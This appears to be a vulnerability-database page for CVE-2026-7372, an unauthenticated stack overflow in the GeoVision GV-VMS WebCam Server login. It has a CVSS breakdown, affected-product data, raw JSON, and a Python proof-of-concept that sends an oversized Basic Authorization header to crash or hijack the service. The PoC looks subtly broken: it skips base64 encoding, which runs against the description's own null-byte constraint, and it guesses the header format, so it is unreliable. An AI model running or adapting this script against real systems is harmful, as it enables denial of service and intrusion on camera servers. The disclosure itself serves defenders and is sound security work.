Security Vulnerability Report
中文
CVE-2026-7372 CVSS 9.0 CRITICAL

CVE-2026-7372

Published: 2026-05-04 01:16:05
Last Modified: 2026-05-05 02:38:55
Source: 0df08a0e-a200-4957-9bb0-084f562506f9

Description

A stack overflow vulnerability exists in the WebCam Server Login functionality of GeoVision GV-VMS V20 20.0.2. A specially crafted HTTP request can lead to an arbitrary code execution. An attacker can make an unauthenticated HTTP request to trigger this vulnerability. #### Stack-overflow via unconstrained sscanf The call to `sscanf` at [1] to split the `Buffer` variable into the `username` and `password` variables doesn't limit the size of the extracted content to match the destination buffers' sizes. In this case, if either the username or password decoded from the authorization string exceeds `40` characters (the size the stack variables `username` and `password`) then a stack overflow will occur. The data is controlled by an attacker, but sronger constraints (e.g. no null bytes) may make exploitation harder. A successful attack could lead to full code execution as SYSTEM on the machine running the service.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:geovision:gv-vms_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:geovision:gv-vms:20:*:*:*:*:*:*:* - NOT VULNERABLE
GeoVision GV-VMS V20 20.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/WebCamServer/Login" # Vulnerability analysis: # The sscanf function does not limit the input size for username/password. # The stack buffer size is 40 bytes. Sending > 40 bytes triggers overflow. # Generate a payload to trigger the stack overflow # Payload structure: "A" * 100 (Exceeds 40 byte buffer) payload = "A" * 100 # Construct the malicious Authorization header # Note: The specific header format depends on the server's parsing logic headers = { "User-Agent": "Mozilla/5.0", "Authorization": f"Basic {payload}" } try: print(f"[+] Sending exploit payload to {TARGET_URL}...") response = requests.get(TARGET_URL, headers=headers, timeout=5) # Check if the service crashed or responded abnormally if response.status_code == 500 or response.status_code == 200: print("[+] Request sent. Check the target service for crash or code execution.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[!] This might indicate the service has crashed (DoS).")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7372", "sourceIdentifier": "0df08a0e-a200-4957-9bb0-084f562506f9", "published": "2026-05-04T01:16:04.730", "lastModified": "2026-05-05T02:38:55.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack overflow vulnerability exists in the WebCam Server Login functionality of GeoVision GV-VMS V20 20.0.2. A specially crafted HTTP request can lead to an arbitrary code execution. An attacker can make an unauthenticated HTTP request to trigger this vulnerability.\n\n#### Stack-overflow via unconstrained sscanf\n\nThe call to `sscanf` at [1] to split the `Buffer` variable into the `username` and `password` variables doesn't limit the size of the extracted content to match the destination buffers' sizes. In this case, if either the username or password decoded from the authorization string exceeds `40` characters (the size the stack variables `username` and `password`) then a stack overflow will occur. \n\n\n\nThe data is controlled by an attacker, but sronger constraints (e.g. no null bytes) may make exploitation harder. A successful attack could lead to full code execution as SYSTEM on the machine running the service."}], "metrics": {"cvssMetricV31": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-vms_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.0.0", "matchCriteriaId": "B00ABF0D-B29A-4345-BD05-3DBE33C9C3B3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-vms:20:*:*:*:*:*:*:*", "matchCriteriaId": "7158CB54-54B4-45D7-9D21-2EC82123D4FB"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Third Party Advisory"]}, {"url": "https://www.geovision.com.tw/cyber_security.php", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Vendor Advisory"]}]}}